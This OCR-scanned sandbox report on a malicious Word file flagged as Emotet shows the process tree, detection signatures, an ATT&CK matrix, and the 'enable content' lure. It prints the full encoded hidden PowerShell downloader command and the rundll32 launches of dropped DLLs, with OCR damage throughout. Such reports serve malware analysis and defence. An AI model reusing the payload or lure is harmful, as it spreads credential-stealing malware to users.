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Analysis Report Archivo 3012 122020 276701.doc

Overview
General Information Detection Classification
Sample Archivo 3012 122020

Name: 276701.doc Antivirus detection for URL or domain

Analysis ID: 339186 MALICIOUS Multi AV Scanner, detection for doma...

MDS: c746a3ecbdb4lb.. Multi AV Scanner. detection for dropp...

SHA1L:

cd498f137da4703. Multi AV Scanner detection for subm...
SHA256: 3b0f0153e86ce44.

Office document tries to convince Vvi...
Most interesting Screenshot:

Snort IDS alert for network traffic (e....

System process connects to networ...

Yara detected Emotet

m Creates processes via WMI
100

Document contains an embedded VB...

Score:
Range: 0-100 Document contains an embedded VB...
Whitelisted:  false

[~ cmematara e = e . Encrypted powershell cmdline option...
Confidence:  100%

w
«Q
>
2
(=
=
®
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Startup

= System is w7x64

. WINWORD.EXE (PID: 2280 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2428 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P*Ow”er"she”L L -w hidden -ENCOD

IAAGAHMAZ QBOACOAdgBhAFIASQBhAGIATABIACAAIAA4AHKAZ QAgACJAWWBOAFKACABFAFOAKAAIAHSAMABIAHSAMgBIAHSANABIAHSAMWBIAHSAMQBIACIALQBGACCAC
WBZAHMAJABFACCALAANAHIAWQANACWAJWBNAC4AIWASACCARQBJAFQATWANACWAIWBJIAESALYBKAEKAUgANACKAIAAGACKAIAAgADSAIAAGAFMAgAGACYAIGBWACIAKWA
IAGWAdAAIACKAIAACACAAIABbAFQAeQBWAGUAXQAOACIAeWAOAHOAeWA2AHOAeWALAHOAeWAXAHOAeWAWAHOAewAZAHOAeWA3AHOAeWAYAHOAIGAGACOAZGANAEUAIWASA
CcAVgBIAGMAIWASACCABQBhAGAAY QBHAEUACgANACWAIWBWACCALAANAHMAeQBZAHQAZQANACWAIWBSACCALAANAGOALGBUAEUAVAAUAHMAZQANACWAIWBVA
GKATgBOACCAKQAGACAAKQAJADSAIAAGACQARQBYAHIAbwBYAEEAYWBOAGKAbWBUAFAACYBIAGYAZQBYAGUAbgBJAGUAIAASACAAKAANAFMAIWAIACgAIWBPA
CcAKWANAGWAZQANACKAKWANAG4AdAANACSAKAANAGWAIWAIACCAeQBDACCAKQAIrACGAIWBVACCAKWANAGAAJABPAGAAdQANACSAIWBIACCAKQAPADSAJABaA
HKAOQAZzADIANABYADOAJABYADCAMABIACAAKWAGAFSAYWBOAGEAcgBAdACJANGAOACKAIAATACAAJABIADYAOABTADSAJABUADYANgBGADOAKAANAESANWANA
CsAIJWAOAFUAIWAPADSAIAACAGCARQBUACOAdgBBAFIAaQBBAGIADABFACAAOABZAEUAIAAPACAAdgBhAGWAVQBIADOAOgAIAGMAUgBgAGUAQQBYAFQAZQBEA
EkAcgBFAGMAYABUAGB8AUgB5ACIAKAAKAEGATWBNAEUAIAArACAAKAACACCAeWAWAHOASYBAAGSAIWAIACCANABGAHIAXWB7ADAAIWAIACCAFQBEACCAKWAOA
CcAaABLAGWAJIWArACcAagBnAHOAIJWAPACSAIWB7ADAATQANACKAIAAIAEY AWWBJAEgAQQBYAFOAOQAYACKAKQA7ACQAWAA2ADAATQA9ACGAIWBIADCAIWATA
CcAXWBCACCAKQA7ACAAIAAOACAAIABWAGEAUGBPAGEAY gBSAEUAIAAOACIAUAAIACSAIgBMAHQAIgAPACAAIAAPACAAdgBBAGWAVQBFADOAOGAIAFMAZQBIJA
FUAcgBpAHQAWQBQAHIATWBUAGAAbWBJAGAATWBSACIAIAASACAAKAANAFQABAANACSAKAANAHMAMQANACSAIJWAYACCAKQAPADSAJABGADAAXWBYADOAKAANA
EUAMAANACSAIWAYAFAAIWAPADSAJABaAGEAYWAYAGCAdwBzACAAPQAgACYAKAANAEQAIWATACCANWAXACCAKQArACCASgJANACKAOWAKAEOAMWBIAEEAPQAOA
CgAIWBVAFBAIWArACCANQANACKAKWANAEBAIWAPADSAJABGAGEAZWBIADQAZWBGADOAJABIAEBATQBFACSAKAACACYAIWBIAEOACQANACSAIWBKAHgAaWAOAGOAIWArACC
AcgANACKAKWAOACCAXWBIAEOAIWArACCACQBEAGIAIWAPACSAKAANAHUADBABJACCAKWANAGCAIWAPACSAIWBBACCAKWAOACCAZQBNACCAKWANAHEAIWAPACKAIAAtAHIAR
QBWAEWAQQBJAGUAIAAGACYAIWBIACCAKWANAEOACQANACKALABBAGMASABBAFIAXQASADIAKQArACQAWYBhAGMAMgBNAHCACWATACgAKAANACAAZAANACSAT
WBSACCAKQArACCAbAANACKAOWAKAEWAOQALAECAPQAOACIAIWBSADYAIWArACCANWANACKAKWANAE4AIWAPADSAIJABFAGCAegA3AGOABABhADOAKAAOACCAX
QANACsAJWBIADEACgANACSAIWBbAFMAJWAPACSAKAANADOALWANACSAIWAVAHMAIWAPACSAKAANAHCAaQANACSAIWBMACCAKQArACgAIJWBOAGWAbWANACSAJ
wBnACCcAKWANAGKACWBOAGKAIWAPACSAIWBJACCAKWANAHMAZQANACSAKAANAGCALGANACSAIJWBJACCAKQArACcAbwANACSAKAANAGOALWANACSAIJWB3ACCAKQArACCACAA
NACSAKAANACOAY QBKACCAKWANAGOAaQBUACBAIWAPACSAKAANAFY ARQANACSAIWASAGIAMAANACKAKWANAGOAagANACSAKAANACBAIWATACCAQABIACCAKQA
rACgAJWBIADEAJWArACcAcgBbAFMAIWAPACSAKAANADOAIWArACCALWAVACCAKQArACgAIwBzZAGEAaAANACSAIWBSAGEALQBhACCAKWANAGQALGANACSAIWBJAGBADQAVA
HcAIJWArACcAcAAIAGMAbwBUACCAKWANAHQAJIWAPACSAIWBIAGAAIWArACgAIWBOACCAKWANACBAY QAVACCAKQArACCAQAANACSAIWBAAGUAIWArACgAIWAXAHIAWWANACS
AIWBTADOAIWAPACSAIWAVACCAKWANACBADQANACSAKAANAHKAIJWArACCACABOACCAKQArACCAY QANACSAIWBIACCAKWAOACCcAagANACSAIWBhAHAAIWAPACSAKAANAGEAJ
WArACcAbgAUACCAKQArACgAIJWBJAG8AbQAVACCAKWANAGQAJQANACSAIWBWACOAaQBUACCAKQArACCcAcWANACSAIWBOACCAKWANAGEAIWATACgAIWBSAGWAZ
QANACsAIWBYACBAZAANACKAKWAOACCAYgANACSAIWAVAEAAXQBIACCAKQArACgAIWAXAHIAWWBTAHMAOJGANACSAIWAVACCAKWANACBAIWAPACSAIWBIACCAK
WANAGEAJWArACgAIWBUACCAKWANAGQAY QANACKAKWAOACCACgANACSAIWBhAGIAYgANACKAKWAOACCAYQBKACCAKWANACAAYWANACSAIJWBVACCAKWANAGOAL
WB3AHAAIWAPACSAKAANACOAIWATACCAY QBKACCAKQArACcAbQANACSAIWBPACCAKWANAGAALWANACSAKAANAEWADWANACSAIWALIAGSARQANACKAKWAOACCAY
QAVACCAKWANAEAAXQBIACCAKQATACCAMQBYACCAKWAOACCAWWBTADOALWANACSAIWAVACCAKQArACCAbgANACSAIWBNACCAKWAOACCACYBIACCAKWANAGGAT
WApPACsAKAANAGEAYgAUACCAKWANAGIAaQBBACBAdWANACKAKWAOACCACAAIAGKAIWATACCAbgANACSAIWBJAGWAIWAPACSAKAANAHUAIWATACCAZABIAHMALWANACSAIWB
UACCAKQArACgAIWBDAFCAZQANACSAIWBIACCAKQAIACJAIWBOACBAQAANACSAIWBAACCAKQArACYAIWBIADEAIWArACCACGANACKAKWANAFSAJWATACgAIWBTAHMAJIWAIA
CcAOgAVACCAKQArACgAIJWAVAHCAIWArACCAdWANACSAIWB3AC4AAYgANACKAKWAOACCAZQBYACCAKWANAGUAIWAPACSAIWBrAGUAIWArACgAIJWBOACCAKWANA
HMAdQBOACCAKQArACcAZQANACSAKAANAHMAJIWAIACcAaQBzAGEAJABJACCAKQArACcAaQBzACCAKWANAGKAJWATACCALgBJACCAKWAOACCAbwBtACCAKWANACBAdwBWACC
AKQArACcALQANACSAKAANAGMAIWArACcAbwBUAHQAZQBUAHQAJIWATrACCALWANACKAKWAOACCAeAANACSAIWBOAECAIWAPACSAIWBZACCAKWAOACCANAANACS
AIWAZAGMAIWAPACSAIWAVAEAAIWAIACCAXQANACSAKAANAGUAMQBYAFSAIJWArACcAUWANACKAKWAOACCACWABACBAIWArACCALWANACSAIWBhAHMAJABYACC
AKWANAG8ABAANACKAKWAOACCAbWBNAGKAY QBIAHgAIJWArACcAaQBzAHQAIWAPACSAIWBIACCAKWAOACCAbgANACSAIWBJAGKAY QBSACCAKQArACgAIJWAUACCAKWANAGMAD
WBtACCAKQArACCALWBSACCAKWAOACCALWANACSAIWBMACBAIWAPACKALGAIAHIAZQBWAGWAYABBAEMARQAIACJAKAANAFOAIWArACCAZQAXACCAKWAOACCACYBDACCAKWA
NAFMAJWAPACKALAACAFSAY QBYAHIAY QBSAFOAKAANAHMAZAANACWAIWBZAHCAIWAPACWAKAAOACCAaABOACCAKWANAHQAIWAPACSAIWBWACCAKQASACCAMWB
KACCAKQBbADEAXQAPAC4AIgBTAHAATABYAEKAJAAIACJAIJABZADY ANWBKACAAKWAGACQAWgB5ADKAMWAYADQACIAJGACSAIAAKAE4AANQASAFMAKQA7TACQASAA
1ADYAVQA9ACGAIWBDACCAKWAOACCAOABFACCAKWANAFKAIWAPACKAOWBMAGBACgBIAGEAYWBOACAAKAAKAEgAaABUADMAZWBWADAAIABpAG4AIAAKAEUAZWB
6ADCAbBQBSAGEAKQB7AHQACYB5AHSAKAAUACGAIWBOAGUAIWAIACCAdWALAEBAY gBJACCAKWANAGUAYWBOACCAKQAGAFMAeQBTAHQAZQBIACAATYBIAFQALYB
XAGUAQgBDAGWAaQBIAG4AdAAPACAAIgBEAGAAbWBXAE4ADABVAGAAQQBEAGYASQBJAGWAZQAIACYAJABIAGYgAbgAZAGCACAAWACWAIAAKAEYAYQBNAGUANAB
NAGOAKQA7ACQARWALADUAVYAIACYAIWBLACCAKWAOACCANGANACSAIWAWAFMAIWAPACKAOWBJIAGYAIAAOACYAIGAOACCARWBIACCAKWANAHQAJWAIACCALQB
JAHQAZQBtACCAKQAGACQARYBhAGCAZQAOAGCAagAPACAAIgBMAGUAYABOAGAARWBUAEGAIGAGACOAZWBIACAAMWA3ADKAOQAYACKAIAB7ACYAKAANAHIAIQB
UAGQADAANACSAIWBSADMAMGANACKAIAAKAEYAY QBNAGUANABNAGOALAACACCAQWANACSAIWBVAGAAIWATACCAdAANACSAKAANAHIAbWBSAFBAIJWATACCAUGA
NACSAIJWB1AG4ARABMAEWAJWAPACKALGAIAHQATWBgAHMAJABSAEKAYABOAECAIGAOACKAOWAKAEEANWA4AFUAPQAOACCAUgANACSAKAANADCAIWAIACCAMQB
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QACCAKQApPADsSAYgBYAGUAYQBrADsAJABGADgANWBWADOAKAANAEKAIWArACgAIWA3ACCAKWANADGAVJANACKAKQBIAHOAYWBhAHQAYWBOAHSAIQBIACQATWA
4ADIATAAIACYAIWBEADKAIWArACCAXWBRACCAKQA= MD5: 5746BD7E255DD6A8BAFAO06F7C42C1BA41)

e [ msg.exe (PID: 2344 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e 4 powershell.exe (PID: 2500 cmdline: POwersheLL -w hidden -ENCOD IAAGAHMAZQBOACOAdgBhAFIASQBhAGIATABIACAAIAA4AHKAZQAgACGAWWBOAFKA
CABFAFOAKAAIAHSAMABIAHSAMgBIAHSANABIAHSAMWBIAHSAMQBIACIALQBGACCAcWBZAHMAJABFACCALAANAHIAWQANACWAIWBNAC4AIWASACCARQBJAFQA
TWANACWAJIWBJIAEBALgBKAEKAUgANACKAIAAgACKAIAAgADSAIAAGAFMAdgAGACYAIgBWACIAKWAIAGWAJAAIACKAIAAOACAAIABDAFQAeQBWAGUAXQAOACIA
eWAOAHOAewA2AHOAeWA1AHOAeWAXAHOAeWAWAHOAewAzAHOAeWA3AHOAewAy AHOAIgGAGACOAZGANAEUAIWASACCAVIBIAGMAIWASACCADQBhAGAAY QBHAEUA
cgANACWAIWBWACCALAANAHMAeQBzZAHQAZQANACWAJIWBSACCALAANAGOALYBUAEUAVAAUAHMAZQANACWAIWBVAGKATgBOACCAKQAGACAAKQAJADSAIAAGACQA
RQBYAHIAbwBYAEEAYWBOAGKAbWBUAFAACYBIAGYAZQBYAGUAbgBJAGUAIAAIACAAKAANAFMAIWArACgAIWBPACCAKWANAGWAZQANACKAKWANAGAAdAANACSA
KAANAGWAIWArACCcAeQBDACCAKQArACJAIWBVACCAKWANAGAAJABPAGAAdQANACSAIWBIACCAKQAPADSAJABaAHKAOQAZADIANABYADOAJABY ADCAMABIACAA
KWAgAFSAYWBOAGEAcgBdACgANgAOACKAIAATACAAIABIADYAOABTADSAJABUADYANGBGADOAKAANAESANWANACSAIWAOAFUAIWAPADSAIAAOAGCARQBUACOA
dgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAAPAC4AdgBhAGWAVQBIADOAOGAIAGMAUgBJAGUAQQBYAFQAZQBEAEKACgBFAGMAYABUAGBAUGB5ACIAKAAKAEGA
TWBNAEUAIAArACAAKAA0ACCAeWAWAHOASYB4AGSAIWATACCANABGAHIAXWB7ADAAIWArACCATQBEACCAKWAOACCAaABLIAGWAIWAIrACCcAagBnAHOAIWAPACSA
JwB7ADAAFQANACKAIAAIAEY AWWBJAEgAQQBYAFOAOQAYACKAKQA7ACQAWAA2ADAATQASACYAIWBIADCAIWAIACCAXWBCACCAKQA7ACAAIAACACAAIABWAGEA
UgBpAGEAYgBSAEUAIAA0ACIAUAAIACSAIgBMAHQAIGAPACAAIAAPACAAdgBBAGWAVQBFADOAOGAIAFMAZQBJAFUACgBpAHQAWQBQAHIATWBUAGAABWBIAGAA
TwBSACIAIAA9ACAAKAANAFQADAANACSAKAANAHMAMQANACSAIJWAYACCAKQAPADSAJABGADAAXWBYADOAKAANAEUAMAANACSAIWAYAFAAIWAPADSAJABaAGEA
YWAYAGCcAdwBzACAAPQAGACYAKAANAEQAIWATACCANWAXACCAKQArACCASgANACKAOWAKAEOAMWBIAEEAPQACACYAIWBVAFBAIJWArACCANQANACKAKWANAESBA
JWAPADSAJABGAGEAZWBIADQAZWBGADOAJABIAEBATQBFACSAKAACACYAIWBIAEOACQANACSAIWBKAHgAaWAOAGOAIWAIrACCACGANACKAKWAOACCAXWBIAEOA
JWArACCcACQBEAGgAIJWAPACSAKAANAHUADBABJACCAKWANAGCAIWAPACSAIWBBACCAKWAOACCAZQBNACCAKWANAHEAIJWAPACKAIAAtAHIARQBWAEWAQQBJAGUA
IAAgACgAIWBIACCAKWANAEOACQANACKALABBAGMASABBAFIAXQA5ADIAKQArACQAWYBhAGMAMgBNAHCACWAIACGAKAANACAAZAANACSAIWBSACCAKQAIACCA
bAANACKAOWAKAEWAOQA1AECAPQAOACYAIWBSADYAIWArACCANWANACKAKWANAE4AIWAPADSAJABFAGCAegA3AGOADABhADOAKAAOACCAXQANACSAIWBIADEA
cgAnACsAIJWBbAFMAJWAPACSAKAANADOALWANACSAIWAVAHMAJWAPACSAKAANAHCAaQANACSAIJWBMACCAKQArACgAIWBOAGWAbBWANACSAIWBNACCAKWANAGKA

cWBOAGKAJWApPACSAIJWBJACCAKWANAHMAZQANACSAKAANAGCALgANACSAIWBJACCAKQAIrACCAbwWANACSAKAANAGOALWANACSAIWB3ACCAKQArACCACAANACSA
KAANACOAY QBKACCAKWANAGOAaQBUACBAIWAPACSAKAANAFY ARQANACSAIWASAGYAMAANACKAKWANAGOAagANACSAKAANACBAIWAIACCAQABIACCAKQAIACGA
JWBIADEAJWArACCcAcgBbAFMAIWAPACSAKAANADOAIWAIACCALWAVACCAKQATIACGAIWBZAGEAaAANACSAIWBSAGEALQBhACCAKWANAGQALJANACSAIWBJAGBA
bQAVAHCAIWArACCACAAtAGMAbWBUACCAKWANAHQAIWAPACSAIWBIAGAAIWATACgAIWBOACCAKWANACBAY QAVACCAKQAIACCAQAANACSAIWBAAGUAIWArACgA
JWAXAHIAWWANACsAJWBTADoAJWAPACSAIWAVACCAKWANACBAbQANACSAKAANAHKAIJWAIACCACABOACCAKQArACCAY QANACSAIJWBIACCAKWAOACCAagANnACSsA
JwBhAHAAIJWAPACSAKAANAGEAIWArACcAbgAUACCAKQArACgAIWBJAGBAbQAVACCAKWANAGQAJQANACSAIWBWACOAaQBUACCAKQArACCACWANACSAIJWBOACCA
KWANAGEAJWArACgAIJWBSAGWAZQANACSAIWBYACBAZAANACKAKWAOACCAYJANACSAIWAVAEAAXQBIACCAKQArACgAIWAXAHIAWWBTAHMAOQGANACSAJWAVACCA
KwWANAC8AIJWAPACSAIWBIACCAKWANAGEAJIWATACgAIJWBUACCAKWANAGQAY QANACKAKWAOACCACGANACSAIWBhAGIAYgANACKAKWAOACCAY QBKACCAKWANACAA
YWANACsAJWBVACCAKWANAGOALWB3AHAAIWAPACSAKAANACOAIWAIrACCAY QBKACCAKQArACCAbQANACSAIWBPACCAKWANAGAALWANACSAKAANAEWABWANACSA
JWALAGSARQANACKAKWAOACCAY QAVACCAKWANAEAAXQBIACCAKQArACCAMQBYACCAKWAOACCAWWBTADOALWANACSAIWAVACCAKQAIACCcAbgANACSAIJWBNACCA
KwA0ACCcAcgBIACCAKWANAGgAIWAPACSAKAANAGEAYgAUACCAKWANAGIAaQBBACBAdWANACKAKWAOACCACAAIAGKAIWAIACCAbgANACSAIWBJAGWAIWAPACSA
KAANAHUAJWArACCAZABIAHMALWANACSAJWBUACCAKQArACgAIWBDAFCAZQANACSAIWBIACCAKQAIACGAIWBOACBAQAANACSAIWBAACCAKQArACgAIWBIADEA
JWArACcAcgANACKAKWANAFSAIWATACgAIWBTAHMAIWArACcAOgAVACCAKQArACgAIWAVAHCAIWArACCAdWANACSAIWB3ACAAYgANACKAKWAOACCAZQBYACCA
KWANAGUAJWAPACSAIWBrAGUAIWArACgAIWBOACCAKWANAHMAJQBOACCAKQArACCAZQANACSAKAANAHMAIWArACCcAaQBzAGEAJABJACCAKQArACCcAaQBzACCA
KwWANAGKAJWArACcALgBjACCAKWAOACCAbwBtACCAKWANACBAdwWBWACCAKQArACCALQANACSAKAANAGMAJIWArACCAbwBUAHQAZQBUAHQAJIWATACCALWANACKA
KwAOACcAeAANACSAIWBOAECAIWAPACSAIWBzACCAKWAOACCANAANACSAIWAZAGMAIWAPACSAIWAVAEAAIWArACCAXQANACSAKAANAGUAMQBYAFSAJWATrACCA
UwANACKAKWAOACCACWABACBAIWArACCALWANACSAIWBhAHMAdABYACCAKWANAGB8ADAANACKAKWAOACCAbwBNAGKAY QBIAHgAIJWArACcAaQBzAHQAIJWAPACSA
JwBIACcAKWAOACCAbgANACSAIJWBJAGKAY QBSACCAKQArACgAIWAUACCAKWANAGMAbWBIACCAKQArACCALWBSACCAKWAOACCALWANACSAJWBMAC8AIWAPACKA
LgAIAHIAZQBWAGWAYABBAEMARQAIACgAKAANAFOAJIWArACCAZQAXACCAKWAOACCACGBbACCAKWANAFMAIWAPACKALAAOAFSAY QBYAHIAY QBSAFOAKAANAHMA
ZAANACWAIWBZAHCAIWAPACWAKAAOACCAaABOACCAKWANAHQAIWAPACSAIWBWACCAKQASACCAMWBKACCAKQBDADEAXQAPACAAIgBTAHAATABYJAEKAJAAIACIA
JABZADYANWBKACAAKWAJACQAWGB5ADKAMWAYADQACgAJACSAIAAKAE4ANQASAFMAKQA7ACQASAALADYAVQA9ACIAIWBDACCAKWAOACCAOABFACCAKWANAFKA
JWAPACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAEgAaABUADMAZWBWADAAIABpAGAAIAAKAEUAZWB6ADCADQBSAGEAKQB7AHQACYB5AHSAKAAUACJAIWBOAGUA
JWArACCcAdwALAEBAYgBJACCAKWANAGUAYWBOACCAKQAgAFMAeQBTAHQAZQBIACAATYBIAFQALYBXAGUAQYBDAGWAAQBIAGAAJAAPACAAIgBEAGAADWBXAELA
bABVAGAAQQBEAGYASQBJAGWAZQAIACJAJABIAGgAbgAZAGCACAAWACWAIAAKAEYAY QBNAGUANABNAGOAKQA7ACQARWALADUAVYAIACYAIWBLACCAKWAOACCA
NgANACSAIWAWAFMAJWAPACKAOWBJIAG YAIAAOACGAIgAOACCARWBIACCAKWANAHQAIWArACCALQBIAHQAZQBIACCAKQAJACQARYBhAGCAZQAOAGCAagAPACAA
1I9BMAGUAYABOAGAARWBUAEQAIGAGACOAZWBIACAAMWA3ADKAOQAYACKAIAB7ACYAKAANAHIAAQBUAGQADAANACSAIWBSADMAMGANACKAIAAKAEYAYQBNAGUA
NABNAGOALAAOACCAQWANACSAIWBVAGAAIWATACCAdAANACSAKAANAHIAbWBSAFBAIJWArACCAUGANACSAIWBIAGAARABMAEWAIJWAPACKALGAIAHQATWBgAHMA
dABSAEKAYABOAECAIgAOACKAOWAKAEEANWA4AFUAPQAOACCAUGANACSAKAANADCAIWAIACCAMQBQACCAKQAPADSAYgBYAGUAYQBrADsAJABGADgANWBWADOA
KAANAEKAJWArACgAIJWA3ACCAKWANADgAVIANACKAKQBOAHOAYWBhAHQAYWBOAHSATQBIACQATWA4ADIATAAIACIAIWBEADKAIWATACCAXWBRACCAKQA= MD5:
852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2340 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\usen\Jxk4jr_\Dhuljgz\D71J.dIl Control_RunDLL MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2756 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\usen\Jxk4jr_\Dhuljgz\D71J.dIl Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2748 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Moldomml\(fjtiec.rgj',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2836 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Hvgnocgonseaz\zdvhyvhbysxx.hcy',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2868 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Gaygjpvalysvakhm.scw',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2476 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Xhfpu\newi.giu',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2844 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Yytiwgytsocbk\gpzklkwgavfqg.ceg',Cont
rol_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1532 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Imgrvegnw\xbxcngor.sdx',Control_RunDLL
MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2996 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Ssritkfxztntpmvd\impzxzazv
xmnbpe.sxx',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3060 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Mtgaaznoxelwda\uiusvmdbvgk
di.arh’,Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2240 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Rpamxseaazc\tejhffkmgs.jfm
',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1552 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\PIxgoxjb\fxypucw
.ewq',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)

. D rundll32.exe (PID: 1336 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Zybnxerarhwdt\tj
smjxgxfmoi.jrk',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration
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No configs have been found

Yara Overview

Memory Dumps

Source

00000005.00000002.2100074595.00000000001
F6000.00000004.00000001.sdmp

00000008.00000002.2104069951.00000000001
60000.00000040.00000001.sdmp

00000012.00000002.2353484979.00000000001
E0000.00000040.00000001.sdmp

0000000E.00000002.2114929747.00000000001
80000.00000040.00000001.sdmp

0000000A.00000002.2108263450.00000000003
21000.00000020.00000001.sdmp

Unpacked PEs

Source

13.2.rundlI32.exe.320000.1.unpack
7.2.rundll32.exe.1d0000.1.unpack

12.2.rundlI32.exe.2e0000.1.unpack
11.2.rundlI32.exe.220000.0.unpack

15.2.rundlI32.exe.190000.0.raw.unpack

Sigma Overview

System Summary:

Signature Overview

Rule Description Author Strings
PowerShell_Case_Anomal Detects Florian Roth e 0x1f10:$s1: POwershelL
y obfuscated
PowerShell
hacktools
JoeSecurity_Emotet Yara detected Joe Security
Emotet
JoeSecurity_Emotet Yara detected Joe Security
Emotet
JoeSecurity_Emotet Yara detected Joe Security
Emotet
JoeSecurity_Emotet Yara detected Joe Security
Emotet

Click to see the 21 entries

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Click to see the 31 entries

@

Click to jump to signature section

Copyright null 2021

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information
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AV Detection:

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

]

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

I“

E-Banking Fraud:

Yara detected Emotet

]

System Summary:

Office document tries to c nce victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:

]

Persistence and Installation Behavior:

]‘

Hooking and other Techniques for Hiding and Protection:

]‘

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

= “

Stealing of Sensitive Information:

Yara detected Emotet

Mitre Att&ck Matrix
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Initial Privilege Credential Lateral Com

Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and (
Valid Windows Path Process Disable or Modify oS System Time Remote Archive Exfiltration Over Other  Ingre
Accounts Management Interception  Injection Tools Credential  Discovery Services Collected  Network Medium Trans
Instrumentation Dumping Data
Default Scripting Boot or Boot or Logon Deobfuscate/Decode LSASS File and Directory Remote Data from  Exfiltration Over Encry
Accounts Logon Initialization Files or Memory Discovery Desktop Removable Bluetooth Chan
Initialization  Scripts Information Protocol Media
Scripts
Domain Exploitation for Client Logon Script Logon Script Scripting Security System Information SMB/Windows Data from Automated Exfiltration Non-
Accounts Execution (Windows)  (Windows) Account Discovery Admin Shares Network Appli
Manager Shared Layel
Drive Proto
Local Command and Logon Script Logon Script Obfuscated Files or NTDS Security Software Distributed Input Scheduled Transfer Appli
Accounts Scripting (Mac) (Mac) Information Discovery Component Capture Layel
Interpreter Object Model Proto
Cloud PowerShell Network Network Logon  Software Packing LSA Virtualization/Sandbox SSH Keylogging Data Transfer Size Fallb:
Accounts Logon Script Script Secrets Evasion Limits Chan
Replication Launchd Rc.common Rc.common Masquerading Cached Process Discovery VNC GUI Input  Exfiltration Over C2 Multit
Through Domain Capture Channel Comt
Removable Credentials
Media
External Scheduled Task Startup Startup Items Virtualization/Sandbox DCSync Remote System Windows Web Portal Exfiltration Over Comt
Remote Items Evasion Discovery Remote Capture Alternative Protocol Used
Services Management
Drive-by Command and Scheduled  Scheduled Process Proc Network Service Shared Credential Exfiltration Over Appli
Compromise Scripting Interpreter  Task/Job Task/Job Injection Filesystem Scanning Webroot API| Symmetric Encrypted Layel

Hooking Non-C2 Protocol

Exploit PowerShell At (Linux) At (Linux) Hidden Files and letc/passwd System Network Software Data Exfiltration Over Web
Public- Directories and Connections Deployment  Staged Asymmetric Encrypted

Facing letc/shadow Discovery Tools Non-C2 Protocol

Application

Supply AppleScript At At (Windows) Rundll32 Network Process Discovery Taint Shared Local Data Exfiltration Over File T
Chain (Windows) Sniffing Content Staging Unencrypted/Obfuscated Proto
Compromise Non-C2 Protocol

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Wi 9 - 0= Archivo 3012 122020 276701 [Compatibility Mode] - Microsoft Word
Home | Insert  Pagelayout  References  Mailings  Review  View

& cut R . S @4 Find ~
© TA A A | =S 4 aaBbceDe AaBbced AaBb( AaBbC: AaBb( AaBbccl

53 Copy 35 Replace

Paste 3 # T Non He sading . ubtitle Change
¢ Fomatpainter | B 4 U ke X X q Normal  THo g1  Heading Title Subtitle St';lesg' R Setect

Clipboard ! Font Paragraph Editing

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

‘You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Page:1 of1 | Words: 0 ‘ = ‘

5:01 PM
1A3/2011

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

